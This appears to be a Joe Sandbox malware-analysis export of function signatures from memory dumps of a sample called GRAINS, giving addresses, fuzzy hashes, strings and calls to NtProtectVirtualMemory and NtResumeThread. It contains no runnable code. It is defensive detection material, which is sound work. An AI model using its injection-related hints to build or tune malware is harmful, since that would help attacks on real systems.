Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: %$&
API String ID: 0-3793893698
Opcode ID: ecc5898ae6f5a62d1476351bbdc1048b4d9fe3cbe34dbc59273ac7561e1a408e
Instruction ID: 232c3ae5bec2c224d32e91423f46de70beed4365046125649b559a68a5fe9c08
Opcode Fuzzy Hash: ecc5898ae6f5a62d1476351bbdc1048b4d9fe3cbe34dbc59273ac7561e1a408e
Instruction Fuzzy Hash: 98512E74A002099FDB64DF68E888BED77F2FB48300F5191AAD91A97351DB389D85CF80

Function 0A45168C Relevance: 2.6, Strings: 2, Instructions: 109
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&, xrefs: 0A451142
YeCU, xrefs: 0A45168C

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &$YeCU
API String ID: 0-1815756306
Opcode ID: 7f2a5e6ca4a4cd321114d4805d25b790f7bbffd8f1581500576b55df270ad7cd
Instruction ID: 56881ae0ee6a9fec34d245a4b1316464553241a153d417e8d5f47ce51576eb84
Opcode Fuzzy Hash: 7f2a5e6ca4a4cd321114d4805d25b790f7bbffd8f1581500576b55df270ad7cd
Instruction Fuzzy Hash: 14511D74A002199FDB64DF68E888BED77F2FB48300F5151AAD91A97351DB389D85CF40

Function 0A45152A Relevance: 2.6, Strings: 2, Instructions: 108
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

&, xrefs: 0A451142
), xrefs: 0A4515AD

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &$)
API String ID: 0-1893440138
Opcode ID: 28a598c5c9327c531d0a9d1ac62c4a48f8896abd18b39315a529f5b2a6ca4c03
Instruction ID: b4352b60548131c7df49c1c748eb400ae23f1e8b02c961c7fedc7d9249dbc0d8
Opcode Fuzzy Hash: 28a598c5c9327c531d0a9d1ac62c4a48f8896abd18b39315a529f5b2a6ca4c03
Instruction Fuzzy Hash: CD514E74A0020A9FDB64EF69E888BED77F2EB48304F1191EAD51A97351DB349D85CF80

Function 0A4525DB Relevance: 2.6, Strings: 2, Instructions: 107
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

o~, xrefs: 0A4525E2
&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &$o~
API String ID: 0-2790568418
Opcode ID: 79c98b03f309706a4b7748900fea5e410b0e941e90cc518193099f7d4fbb3b39
Instruction ID: f7ce810bd2a3520b2bd6f5bc02ac6d26a1ae2607dec31b9bfa7f178ba842401f
Opcode Fuzzy Hash: 79c98b03f309706a4b7748900fea5e410b0e941e90cc518193099f7d4fbb3b39
Instruction Fuzzy Hash: 65515074A002099FDB64EF68E488BAD77F2FB4C304F1091AAD51697351DB349D85CF80

Function 0A48C680 Relevance: 2.4, Strings: 1, Instructions: 1177COMMON

Download Yara Rule

Strings

4, xrefs: 0A48D055

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: bfcef0d3fc46da2ae9614b7ae9523e6572d41dc2c7fdbc4369ae96b7bda07780
Instruction ID: 09b54ef750e952ee44b4b4dd7c4fe8a966290bee562112c72b326856bf490cd3
Opcode Fuzzy Hash: bfcef0d3fc46da2ae9614b7ae9523e6572d41dc2c7fdbc4369ae96b7bda07780
Instruction Fuzzy Hash: 27B21874A00218DFDB18DFA4D884BAEB7B6FB88700F15809AE515AB3A5DB74DD41CF60

Function 0A452F70 Relevance: 1.9, Strings: 1, Instructions: 629
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

8, xrefs: 0A45306D

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: 8
API String ID: 0-4194326291
Opcode ID: c1240925def5d55ea1bbdb3b77d0a8e062c30377c338f31a62e6f76e787974a8
Instruction ID: 0040aad9d3b2ee6d3c0dc16c07bbd9a357babd605f5d5494fda4754fc802cb6d
Opcode Fuzzy Hash: c1240925def5d55ea1bbdb3b77d0a8e062c30377c338f31a62e6f76e787974a8
Instruction Fuzzy Hash: 4662F875E002299FDB64DF69D854AD9B7B2FF89300F1086AAD909A7351DB30AE85CF40

Function 0A48C9A7 Relevance: 1.7, Strings: 1, Instructions: 495COMMON

Download Yara Rule

Strings

4, xrefs: 0A48D055

Memory Dump Source

Source File: 00000004.00000002.1570953800.000000000A480000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A480000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a480000_GRAINS.jbxd

Similarity

API ID:
String ID: 4
API String ID: 0-4088798008
Opcode ID: 0ba8acb4cdc8f2d9ccc2bab05f3616847869ad968aabc8d810723b8afd1f3226
Instruction ID: 1ee62e90698574085a9dd40372f373b6922c8ab21f5c82c37a040008a6f20558
Opcode Fuzzy Hash: 0ba8acb4cdc8f2d9ccc2bab05f3616847869ad968aabc8d810723b8afd1f3226
Instruction Fuzzy Hash: 08220A74A00218CFDB24DF64D984BADB7B2BF88704F15809AD519AB395DB74ED81CF60

Function 0A4565A0 Relevance: 1.6, APIs: 1, Instructions: 107nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0A45665D

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: c891be5e4e546b20dbc8a239eb0b7977e19200b9a11a5e5bfe560243c047605a
Instruction ID: ab881ccbdb657ea45e80f29c5c8372b7072e2c0546388b163adc17327914aefd
Opcode Fuzzy Hash: c891be5e4e546b20dbc8a239eb0b7977e19200b9a11a5e5bfe560243c047605a
Instruction Fuzzy Hash: D14188B8D012599FCF10DFAAD980ADEFBB1BF49310F14942AE815B7200C735A946CF54

Function 0A4565A8 Relevance: 1.6, APIs: 1, Instructions: 105nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(?,?,?,?,?), ref: 0A45665D

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 8bb900859b9819abfa11d3bdca0dbf46f39089ca7d42a5fe5bbb75b12ff937bf
Instruction ID: 90f26ee7597a89993a6688e2c22fcf9dcc0a11f4d41a786300e2d40fa243c1f9
Opcode Fuzzy Hash: 8bb900859b9819abfa11d3bdca0dbf46f39089ca7d42a5fe5bbb75b12ff937bf
Instruction Fuzzy Hash: 434188B8D002599FCF10CFAAD980A9EFBB5BF49310F14942AE814B7200D735A945CF58

Function 0A457E28 Relevance: 1.6, APIs: 1, Instructions: 86nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 0A457EBE

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 8c2717d61132818b3d8fb3f0befd3c13739c2deed839fba728a04d0d945897b7
Instruction ID: 3eec2e9ee15cea6c09158aac46bd6b03b1d8eebf1fe0b7225b9b6090ecd26e14
Opcode Fuzzy Hash: 8c2717d61132818b3d8fb3f0befd3c13739c2deed839fba728a04d0d945897b7
Instruction Fuzzy Hash: 2231BBB8D01258AFCB10DFAAD880A9EFBF5BB49310F14942AE815B7300C734A906CF94

Function 0A457E30 Relevance: 1.6, APIs: 1, Instructions: 82nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(?,?), ref: 0A457EBE

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 6fd5eca3c3575eedc359280c54ca02c8db999fd366520b6635bf23bdfa52f7de
Instruction ID: 5d13b13358468d358799828a89ad69ff8a23c412d7bf5f3f08279337029a08db
Opcode Fuzzy Hash: 6fd5eca3c3575eedc359280c54ca02c8db999fd366520b6635bf23bdfa52f7de
Instruction Fuzzy Hash: F531A9B9D01218AFCB10DFAAD984A9EFBF5BB49320F10942AE815B7300C775A945CF94

Function 0A451334 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 0191f3909b161c47f217c49863cbe0066fdc55dc563072f2c7cc7cee3d7f5c40
Instruction ID: 1c6bce0f0710b8401ff01154e250c022daa321cc616ec3f3560961373de75228
Opcode Fuzzy Hash: 0191f3909b161c47f217c49863cbe0066fdc55dc563072f2c7cc7cee3d7f5c40
Instruction Fuzzy Hash: AF514D74A002099FDB64EF68E888BAD77F2FB48304F5092EAD51A97351DB349D85CF40

Function 0A4511C9 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 8babc5a41efea8ea3b0d221920381c2a41301a54d4aff5af3c68da5b884ea448
Instruction ID: 16f9d0cd87f2d5451d717879d35f4c7ac1fe4de06408c2ccebd1348998c121c3
Opcode Fuzzy Hash: 8babc5a41efea8ea3b0d221920381c2a41301a54d4aff5af3c68da5b884ea448
Instruction Fuzzy Hash: 20513B74A002099FDB64DF68E888BAD77F2FB48300F5192AAD91A97351DB349D85CF80

Function 0A4527BC Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 54b1fae78d9b2932b9bc2b9c5b248dd78f74729f2e61cc0f3cceeaeaa632e55c
Instruction ID: 0dd4eec81c48943eed38325395ddb83c64a124afbcb8b787332a59d68598f952
Opcode Fuzzy Hash: 54b1fae78d9b2932b9bc2b9c5b248dd78f74729f2e61cc0f3cceeaeaa632e55c
Instruction Fuzzy Hash: C9515D74A002099FDB64EF68E898BEE73F2FB48300F1091AAD51A97351DB349D85CF80

Function 0A452445 Relevance: 1.4, Strings: 1, Instructions: 109COMMON

Download Yara Rule

Strings

&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 03102923fb52fb896a3efea747840a0b2d5cbcea521354ab766bb08a71d588e1
Instruction ID: e217995d3622c718d2a2f2cfd4381604c8c93d4b86c03d2fef1f4710943460f7
Opcode Fuzzy Hash: 03102923fb52fb896a3efea747840a0b2d5cbcea521354ab766bb08a71d588e1
Instruction Fuzzy Hash: 33513074A003099FDB54EF69E888BAE77F2FB58300F1192AAD91697351D7389D85CF80

Function 0A452017 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 2c51a7e23c70fd18dbdb3067b6219785fee2f6967f2787dd36911e4048dfb247
Instruction ID: c570ad028329c0bda0e5eb03fb9d7342ec463247b8a5aa76b93dba9e27d713b9
Opcode Fuzzy Hash: 2c51a7e23c70fd18dbdb3067b6219785fee2f6967f2787dd36911e4048dfb247
Instruction Fuzzy Hash: AB510A74A002099FDB64DF68E898BED73F2FB58300F5092AAD51A97351DB389D85CF80

Function 0A452165 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 64454fd728e4d47b845299206c1d1bca100b6f13001b9a66f2f81d687e1c1216
Instruction ID: 1a870fae08c17c282612c5de93819e5da29afafab894facd86903f650d0dc871
Opcode Fuzzy Hash: 64454fd728e4d47b845299206c1d1bca100b6f13001b9a66f2f81d687e1c1216
Instruction Fuzzy Hash: F0512B74A012199FDB64DF68E888BAD77F2FB48300F1092AAD51A97351DB389D85CF80

Function 0A451F62 Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 6bc6e7febb835b2b34390bae694cea628d14774e9595755749c2e77d0b11dfb5
Instruction ID: 924602ab1104206141a6b79d81a9f8a3a16c3b23be58ffc357274000af107332
Opcode Fuzzy Hash: 6bc6e7febb835b2b34390bae694cea628d14774e9595755749c2e77d0b11dfb5
Instruction Fuzzy Hash: 60511A74A003099FDB64EF68E898BAD77F2FB48300F5192AAD51A97351DB349D85CF80

Function 0A45270E Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 63b9fd0c3953db2c346afc4344daca34b31c9383db19e71b77ce2d17b6afc823
Instruction ID: 650bd8e332edb1d0ecbafd2585184eb7669c41888194707b53c3d8ab7764f4f6
Opcode Fuzzy Hash: 63b9fd0c3953db2c346afc4344daca34b31c9383db19e71b77ce2d17b6afc823
Instruction Fuzzy Hash: 4E512A74A012199FDB64EF68E898BED77F2FB48300F1092AAD51A97351DB349D85CF80

Function 0A451D5E Relevance: 1.4, Strings: 1, Instructions: 108COMMON

Download Yara Rule

Strings

&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: db70b97db44671fb4627019d2481dfe243ac400971e168578b12d520ffe64a16
Instruction ID: abd467bd585801e546026877ccc9c5f872ba3de9b6d92b3bf93b4f3c2b79da20
Opcode Fuzzy Hash: db70b97db44671fb4627019d2481dfe243ac400971e168578b12d520ffe64a16
Instruction Fuzzy Hash: EA514F74A003099FDB54DF68E488BAE77F2FB48300F5191AAD51A9B355DB389D85CF40

Function 0A451A2D Relevance: 1.4, Strings: 1, Instructions: 107COMMON

Download Yara Rule

Strings

&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 9f6fd68866ea5e4350db59e25fc8d198dd6203a582efc54b0d7a83354ee79604
Instruction ID: e8f09e89e3e0588f60b82ca8ce060845bd67086d7666c2a275090b816fad6f54
Opcode Fuzzy Hash: 9f6fd68866ea5e4350db59e25fc8d198dd6203a582efc54b0d7a83354ee79604
Instruction Fuzzy Hash: 7C512D74A012099FDB64EF68E888BAD77F2FB58300F1192EAD51A97351DB349D85CF80

Function 0A451284 Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: 6b30037c3bfaa2b2782dd6ba2bb8086b2a77e682a572410e83533e626147b80b
Instruction ID: 153ca83847c7f55684ebfebbdd46e14f9612934f92f99f10b1e2f81713358831
Opcode Fuzzy Hash: 6b30037c3bfaa2b2782dd6ba2bb8086b2a77e682a572410e83533e626147b80b
Instruction Fuzzy Hash: AD512C74A003099FDB64EF69E898BAE73F2FB48300F5191AAD51A97351DB349D85CF80

Function 0A4515DF Relevance: 1.4, Strings: 1, Instructions: 106COMMON

Download Yara Rule

Strings

&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: d5bee76c2f605d860ffe542324722abe437349fe719829295cecebeb60a6054f
Instruction ID: 3043599b9e0abecc5fc4cfcb72b52c4dea5875b00ce6d0908ced40e4f5b411a4
Opcode Fuzzy Hash: d5bee76c2f605d860ffe542324722abe437349fe719829295cecebeb60a6054f
Instruction Fuzzy Hash: EC512C74A002099FDB64EF68E898BAE77F2FB48300F5191AAD51A97351DB349D85CF80

Function 0A45114B Relevance: 1.4, Strings: 1, Instructions: 102COMMON

Download Yara Rule

Strings

&, xrefs: 0A451142

Memory Dump Source

Source File: 00000004.00000002.1570849834.000000000A450000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A450000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a450000_GRAINS.jbxd

Similarity

API ID:
String ID: &
API String ID: 0-1010288
Opcode ID: c88fc05d32777c1284ebb185a12694ab2908fa1055b65ec728edac6e761fa88a
Instruction ID: 0f390799c1d9f9629051594567ea8a8b38a0834f3c199cd6dda0f7f1779cf61c
Opcode Fuzzy Hash: c88fc05d32777c1284ebb185a12694ab2908fa1055b65ec728edac6e761fa88a
Instruction Fuzzy Hash: 98414174A013099FDB64EF69E888BAD77F2FB58300F1092AAD51A97351D7349D85CF80

Function 0A3B19A3 Relevance: .5, Instructions: 539COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf6953354756a5323fa42de8fe143e34b8ea001014c57a2136f5f02cc6bc237e
Instruction ID: dfc76e05ad239badeb4f34171b8bf950e9beda58dc89affb2eca4bf8e7f7ef71
Opcode Fuzzy Hash: cf6953354756a5323fa42de8fe143e34b8ea001014c57a2136f5f02cc6bc237e
Instruction Fuzzy Hash: C552C2B4A006288FDB60DF28C994BDAB7B2FB89301F1091D9D90DA7755DB30AE85CF50

Function 04F4B7E5 Relevance: .3, Instructions: 298COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b013d8377fff5a083c884ab9704170bfc39c7921bd7ad0ba942108c9f1d8ec4c
Instruction ID: 6a7df726d85943d7929f8dec01e325677d91b65e906b1d544b782dc399a5d13b
Opcode Fuzzy Hash: b013d8377fff5a083c884ab9704170bfc39c7921bd7ad0ba942108c9f1d8ec4c
Instruction Fuzzy Hash: FCD10275A04209CFE714CF68D484B99BBB2BBC8310F14C2A5D415AB2A6DB79FC86DB50

Function 04F4BA6E Relevance: .3, Instructions: 295COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b8cc65587128c809fe91f9d2217ab8f382c32eb17ee2d7f39cc6c5303fd0d897
Instruction ID: a57f62862e959739dbd6b40fd42354515a656bc5e8ed929a36cd3198cbad2079
Opcode Fuzzy Hash: b8cc65587128c809fe91f9d2217ab8f382c32eb17ee2d7f39cc6c5303fd0d897
Instruction Fuzzy Hash: B4D10375A04209CFE714CF68D484B99BBB2BBC8310F14D2A5D415AB2A6DB78FC86DB50

Function 0A7FED90 Relevance: .3, Instructions: 276COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1571951807.000000000A7E0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A7E0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a7e0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6bfb373b1e1cdbb556fc3c86f706c835f4bfe7fa8b3cde570bddb289e0eee1e5
Instruction ID: accefd504832efe9f9786efa5ff9914d4aa53898622caa839b5a7f91fdba9244
Opcode Fuzzy Hash: 6bfb373b1e1cdbb556fc3c86f706c835f4bfe7fa8b3cde570bddb289e0eee1e5
Instruction Fuzzy Hash: 55D1C174E00219CFDB64DFA9D984A9DBBF2BF88300F1084A9D509AB365DB35AD85CF50

Function 0A42D955 Relevance: .3, Instructions: 263COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 895561f7d86c0e9c3eb92800307afc026daf0c5a9d1263ec926fde1c5c4de430
Instruction ID: 7a33581e05f5f7d9831d36d449a45efa3edc9a822c07ab0560eed362146f7ba6
Opcode Fuzzy Hash: 895561f7d86c0e9c3eb92800307afc026daf0c5a9d1263ec926fde1c5c4de430
Instruction Fuzzy Hash: 63C12978E04228DFEB64CF99D888B9EBBF2FB49300F5090AAD419A7385D7745985CF41

Function 0A42CBF6 Relevance: .2, Instructions: 241COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1570393611.000000000A420000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A420000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a420000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c46a3ebcf7ab41f2d9d06eb47d603edb9b0b137831dff9dac4a2866fb5b2a849
Instruction ID: 51dbe2ce9fea62049fbe18a0a5fd1a9a9d5ca4ab8d9513075158ef2590029cfa
Opcode Fuzzy Hash: c46a3ebcf7ab41f2d9d06eb47d603edb9b0b137831dff9dac4a2866fb5b2a849
Instruction Fuzzy Hash: EFB12C74A04258DFEB64DFA9D894B9DBBB2FF49304F5090AAD50AAB390CB345D85CF10

Function 04F4ABA0 Relevance: .2, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f051cdeea756182369c34620932dbbed90050044e7420db53fe70544d0781732
Instruction ID: 73f697769ea9d7cbbc5c6cdeae6f1652811e58302c1ef38fac1d49ddec2a8f80
Opcode Fuzzy Hash: f051cdeea756182369c34620932dbbed90050044e7420db53fe70544d0781732
Instruction Fuzzy Hash: 53A16870E45205DFEB14CF98D484B99BBB2FBC9300F1482A1E5069B2A5DB35FC82DB50

Function 04F4ABFC Relevance: .2, Instructions: 211COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e31ec0fef5610d0696dcb2117209a6e1961758302c377586e409b51023dc036
Instruction ID: c067385febc09af68110488ce05e89c1e2b5c6a7d66d402f563ec81e7c748192
Opcode Fuzzy Hash: 5e31ec0fef5610d0696dcb2117209a6e1961758302c377586e409b51023dc036
Instruction Fuzzy Hash: 47914A70E49205DFEB54CF98D484B99BBB2FBC5310F1482A1E5069B2A5DB35FC82DB10

Function 04F4B1D7 Relevance: .2, Instructions: 188COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a3d9a0fd871be7b2328796f48ff4c0134cf1db0afd3707d7cf5213283486fea1
Instruction ID: 70daefe61a381c0c870ee8e220dac6060d3dc1e0d0042b5b09b38c702b9310b5
Opcode Fuzzy Hash: a3d9a0fd871be7b2328796f48ff4c0134cf1db0afd3707d7cf5213283486fea1
Instruction Fuzzy Hash: AE717C31A09605CFEB16DF54C488BAD7BB2FBC9300F1481A1D105ABA66DB35FE46CB50

Function 04F4B1E8 Relevance: .2, Instructions: 174COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1514892272.0000000004F40000.00000040.00000800.00020000.00000000.sdmp, Offset: 04F40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_4f40000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: afc1ef550eb80b21e66fee34ffce24b1131eee9048f7911b25ebd1d6eb68396e
Instruction ID: a93e987ecc870d94cbc0d06b0c436505bc2b779784ba6c16b8e98ac716e3b641
Opcode Fuzzy Hash: afc1ef550eb80b21e66fee34ffce24b1131eee9048f7911b25ebd1d6eb68396e
Instruction Fuzzy Hash: 06615971A09605CFEB16CF54C488BAD77B2FBC5300F1481A1D106ABAA6DB35FE46CB50

Function 0A3B0017 Relevance: .2, Instructions: 151COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1569743408.000000000A3B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 0A3B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_a3b0000_GRAINS.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d3a55e6dce02a5937f72ea1d11173fb3677b87af0ba20a2c8a5fcab96c91b9a5
Instruction ID: 53bfac6026293d4747953d4fbba9a2b698d2753c9a366ac2ed11d24ba79a74d5
Opcode Fuzzy Hash: d3a55e6dce02a5937f72ea1d11173fb3677b87af0ba20a2c8a5fcab96c91b9a5
Instruction Fuzzy Hash: 25611F71E00A589BDB28CF6BDC4469AFBF3AFC9301F14C1AAC509AB255DB345A85CF50

